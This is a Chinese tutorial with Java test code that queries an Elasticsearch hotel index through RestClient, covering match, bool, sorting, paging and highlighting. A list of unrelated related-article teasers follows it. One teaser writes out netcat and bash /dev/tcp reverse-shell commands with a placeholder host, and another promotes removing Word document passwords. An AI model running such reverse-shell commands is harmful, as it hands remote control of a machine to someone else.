二十七、RestClient查询文档
目录
一、MatchALL查询
二、Match查询
三、bool查询
四、排序和分页
五、高亮
一、MatchALL查询
@Testvoid testMatchAll() throws IOException {
// 准备Request对象SearchRequest request = new SearchRequest("hotel");
// 准备DSLrequest.source().query(QueryBuilders.matchAllQuery());
// 发送请求SearchResponse response = client.search(request, RequestOptions.DEFAULT);
// 解析响应SearchHits searchHits = response.getHits();
// 获取总条数long value = searchHits.getTotalHits().value;System.out.println("共搜索到"+value+"条数据!");
// 获取文档数组SearchHit[] hits = searchHits.getHits();
// 遍历for (SearchHit hit : hits) {
// 获取文档sourceString json = hit.getSourceAsString();
// 反序列化HotelDoc object = JSON.parseObject(json, HotelDoc.class);System.out.println("object = " + object);}}
二、Match查询
@Testvoid testMatch() throws IOException {
// 准备Request对象SearchRequest request = new SearchRequest("hotel");
// 准备DSLrequest.source().query(QueryBuilders.matchQuery("name","连锁"));
// 发送请求SearchResponse response = client.search(request, RequestOptions.DEFAULT);
// 解析响应SearchHits searchHits = response.getHits();
// 获取总条数long value = searchHits.getTotalHits().value;System.out.println("共搜索到"+value+"条数据!");
// 获取文档数组SearchHit[] hits = searchHits.getHits();
// 遍历for (SearchHit hit : hits) {
// 获取文档sourceString json = hit.getSourceAsString();
// 反序列化HotelDoc object = JSON.parseObject(json, HotelDoc.class);System.out.println("object = " + object);}}
三、bool查询
@Testvoid testBool() throws IOException {
// 准备Request对象SearchRequest request = new SearchRequest("hotel");
// 准备DSLBoolQueryBuilder boolQuery = QueryBuilders.boolQuery();boolQuery.must(QueryBuilders.termQuery("city","杭州"));boolQuery.filter(QueryBuilders.rangeQuery("price").lte(250));request.source().query(boolQuery);
// 发送请求SearchResponse response = client.search(request, RequestOptions.DEFAULT);extracted(response);}
四、排序和分页

@Testvoid testMatchAll() throws IOException {
// 准备Request对象SearchRequest request = new SearchRequest("hotel");
// 准备DSLrequest.source().query(QueryBuilders.matchAllQuery());
// 分页request.source().from(0).size(5);
// 排序request.source().sort("price", SortOrder.ASC);
// 发送请求SearchResponse response = client.search(request, RequestOptions.DEFAULT);
// 解析响应extracted(response);}
五、高亮
所有搜索DSL的构建,记住一个API : SearchRequest的source()方法。
高亮结果解析是参考JSON结果,逐层解析
@Testvoid testHighLight() throws IOException {
// 准备Request对象SearchRequest request = new SearchRequest("hotel");
// 准备DSLrequest.source().query(QueryBuilders.matchQuery("name", "连锁"));request.source().highlighter(new HighlightBuilder().field("name").requireFieldMatch(false));
// 发送请求SearchResponse response = client.search(request, RequestOptions.DEFAULT);extracted(response);} private void extracted(SearchResponse response) {
// 解析响应SearchHits searchHits = response.getHits();
// 获取总条数long value = searchHits.getTotalHits().value;System.out.println("共搜索到" + value + "条数据!");
// 获取文档数组SearchHit[] hits = searchHits.getHits();
// 遍历for (SearchHit hit : hits) {
// 获取文档sourceString json = hit.getSourceAsString();
// 反序列化HotelDoc object = JSON.parseObject(json, HotelDoc.class);
// 获取高亮结果Map<String, HighlightField> highlightFields = hit.getHighlightFields();if (!CollectionUtils.isEmpty(highlightFields)){
// 根据字段名获取高亮结果HighlightField highlightField = highlightFields.get("name");if (highlightFields != null){
// 获取高亮值String name = highlightField.getFragments()[0].string();
// 覆盖非高亮结果object.setName(name);}}System.out.println("object = " + object);}}
相关文章:
二十七、RestClient查询文档
目录 一、MatchALL查询 二、Match查询 三、bool查询 四、排序和分页 五、高亮 一、MatchALL查询 Testvoid testMatchAll() throws IOException { // 准备Request对象SearchRequest request new SearchRequest("hotel"); // 准备DSLrequest.source().q…...
百度云Ubuntu22.04
1. download 百度云 2. sudo dpkg -i ***.deb...
解除word文档限制,快速轻松,seo优化。
文章解密、找回和去除word文档密码的安全、简单、高效方法 具体步骤如下:1. 百度搜索【密码帝官网】,2. 点击“立即开始”在用户中心上传需要解密的文件,稍等片刻即可找回密码。这是最简单的办法,无需下载软件,适用于手…...
【音频】Glitch相关
背景 因为要判断低码率下,MOS分值为啥下降,从几个方面调查。其中提及到Glitch、缓冲buffer等,慢慢积累名次概念以及经验。 “Glitch” 在音频领域通常指的是非预期的、短暂的干扰或失真。这些问题可能由于信号传输错误、设备问题、软件错误等…...
【开源】基于Vue+SpringBoot的大学生相亲网站
项目编号: S 048 ,文末获取源码。 \color{red}{项目编号:S048,文末获取源码。} 项目编号:S048,文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块三、系统展示四、核心代码4.1 查询会员4…...
5种主流API网关技术选型,yyds!
API网关是微服务项目的重要组成部分,今天来聊聊API网关的技术选型,有理论,有实战。 不 BB,上文章目录: 1 API网关基础 1.1 什么是API网关 API网关是一个服务器,是系统的唯一入口。 从面向对象设计的角度…...
请求pdf文件流并进行预览
最近做了一个需求就是预览pdf等文件,不过后端返回的是一个文件流,需要前端做一定地处理才行。 我们来看一下具体的实现方式。预览pdf的插件使用的是pdf.js,具体请看这篇文章:pdf.js插件怎么控制工具栏的显示与隐藏 1、请求pdf文件…...
【Unity程序技巧】加入缓存池存储地图资源,节省资源,避免多次CG
👨💻个人主页:元宇宙-秩沅 👨💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨💻 本文由 秩沅 原创 👨💻 收录于专栏:Uni…...
虹科Pico汽车示波器 | 汽车免拆检修 | 2016款东风悦达起亚K5车发动机怠速抖动严重、加速无力
一、故障现象 一辆2016款东风悦达起亚K5车,搭载G4FJ发动机,累计行驶里程约为8.2万km。该车发动机怠速抖动严重、加速无力,同时发动机故障灯异常点亮,为此在其他维修厂更换了所有点火线圈和火花塞,故障依旧,…...
4.Spring源码解析-loadBeanDefinitions(XmlBeanDefinitionReader)
第一个点进去 发现是空 肯定走的第二个逻辑了 这里在这里已经给属性设置了值,所以肯定不是空能拿到。 1.ClassPathXmlApplicationContext 总结:该loadBeanDefinitions是XmlBeanDefinitionReader设置xml文件在哪。...
PHP 针对人大金仓KingbaseES自动生成数据字典
针对国产数据库 人大金仓KingbaseES 其实php 连接采用pdo方式 必须:需要去人大数据金仓官方网站 下载对应版本的pdo_kdb 扩展驱动 其连接方法与pgsql 数据库连接方法大致相同 不解释 直接上代码: <?php /*** 生成人大金仓数据字典*/ header(…...
java选择排序和冒泡排序
1.区别 选择排序和冒泡排序的区别主要在于算法逻辑、稳定性和交换成本。 算法逻辑:选择排序和冒泡排序都属于比较排序,但在具体算法逻辑上有所不同。冒泡排序是通过相邻元素之间的比较和交换,将较大(或较小)的元素逐…...
linux反弹shell
nc工具反弹shell 下面是windows主机找到nc打开1.bat输入:nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口, 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…...
Go字符串类型
一、字符串 1、字符串 Go 语言里的字符串的内部实现使用 UTF-8 编码字符串带的值为双引号(")中的内容,可以在 Go 语言的源码中直接添加非ASCII 码字符 s1 : "hello" s2 : "您好" 2、字符串转义符 Go 语言的字符…...
DjiTello + YoloV5的无人机的抽烟检测
一、效果展示 注:此项目纯作者自己原创,创作不易,不经同意不给予搬运权限,转发前请联系我,源码较大需要者评论获取,谢谢配合! 1、未启动飞行模型无人机的目标检测。 DjiTello YOLOV5抽烟检测 …...
数据库取多个时间字段的最大值
个人网站 要在数据库中取多个时间字段的最大值,可以使用SQL的GREATEST函数。假设有一个表my_table,其中有两个时间字段time1和time2,可以使用以下查询来获取这两个字段的最大值: SELECT GREATEST(time1, time2) AS max_time FRO…...
C/C++ 实现Socket交互式服务端
在 Windows 操作系统中,原生提供了强大的网络编程支持,允许开发者使用 Socket API 进行网络通信,通过 Socket API,开发者可以创建、连接、发送和接收数据,实现网络通信。本文将深入探讨如何通过调用原生网络 API 实现同…...
kotlin 防范竞态
当你调用成员,这个成员可能为null,可能为空值,就必须采用防范竞态条件,这个是 KT 编程的规范化 下面举例: 防范竞态条件【尽量使用 ? 内置函数 空合并操作符】 fun test(){val info: String ? "&q…...
超分辨率重建
意义 客观世界的场景含有丰富多彩的信息,但是由于受到硬件设备的成像条件和成像方式的限制,难以获得原始场景中的所有信息。而且,硬件设备分辨率的限制会不可避免地使图像丢失某些高频细节信息。在当今信息迅猛发展的时代,在卫星…...
防止恶意攻击,服务器DDoS防御软件科普
作为一种恶意的攻击方式,DDoS攻击正以超出服务器承受能力的流量淹没网站,让网站变得不可用。近几年,这种攻击持续增多,由此优秀服务器DDoS防御软件的需求也随之增长。那么如何选择服务器DDoS防御软件,从根本上根除DDoS…...
【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型
摘要 拍照搜题系统采用“三层管道(多模态 OCR → 语义检索 → 答案渲染)、两级检索(倒排 BM25 向量 HNSW)并以大语言模型兜底”的整体框架: 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后,分别用…...
网络六边形受到攻击
大家读完觉得有帮助记得关注和点赞!!! 抽象 现代智能交通系统 (ITS) 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 (…...
微信小程序之bind和catch
这两个呢,都是绑定事件用的,具体使用有些小区别。 官方文档: 事件冒泡处理不同 bind:绑定的事件会向上冒泡,即触发当前组件的事件后,还会继续触发父组件的相同事件。例如,有一个子视图绑定了b…...
【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器
——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的一体化测试平台,覆盖应用全生命周期测试需求,主要提供五大核心能力: 测试类型检测目标关键指标功能体验基…...
C# SqlSugar:依赖注入与仓储模式实践
C# SqlSugar:依赖注入与仓储模式实践 在 C# 的应用开发中,数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护,许多开发者会选择成熟的 ORM(对象关系映射)框架,SqlSugar 就是其中备受…...
CMake控制VS2022项目文件分组
我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...
html-<abbr> 缩写或首字母缩略词
定义与作用 <abbr> 标签用于表示缩写或首字母缩略词,它可以帮助用户更好地理解缩写的含义,尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时,会显示一个提示框。 示例&#x…...
Fabric V2.5 通用溯源系统——增加图片上传与下载功能
fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...
代码随想录刷题day30
1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币,另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额,返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...
三分算法与DeepSeek辅助证明是单峰函数
前置 单峰函数有唯一的最大值,最大值左侧的数值严格单调递增,最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值,最小值左侧的数值严格单调递减,最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...


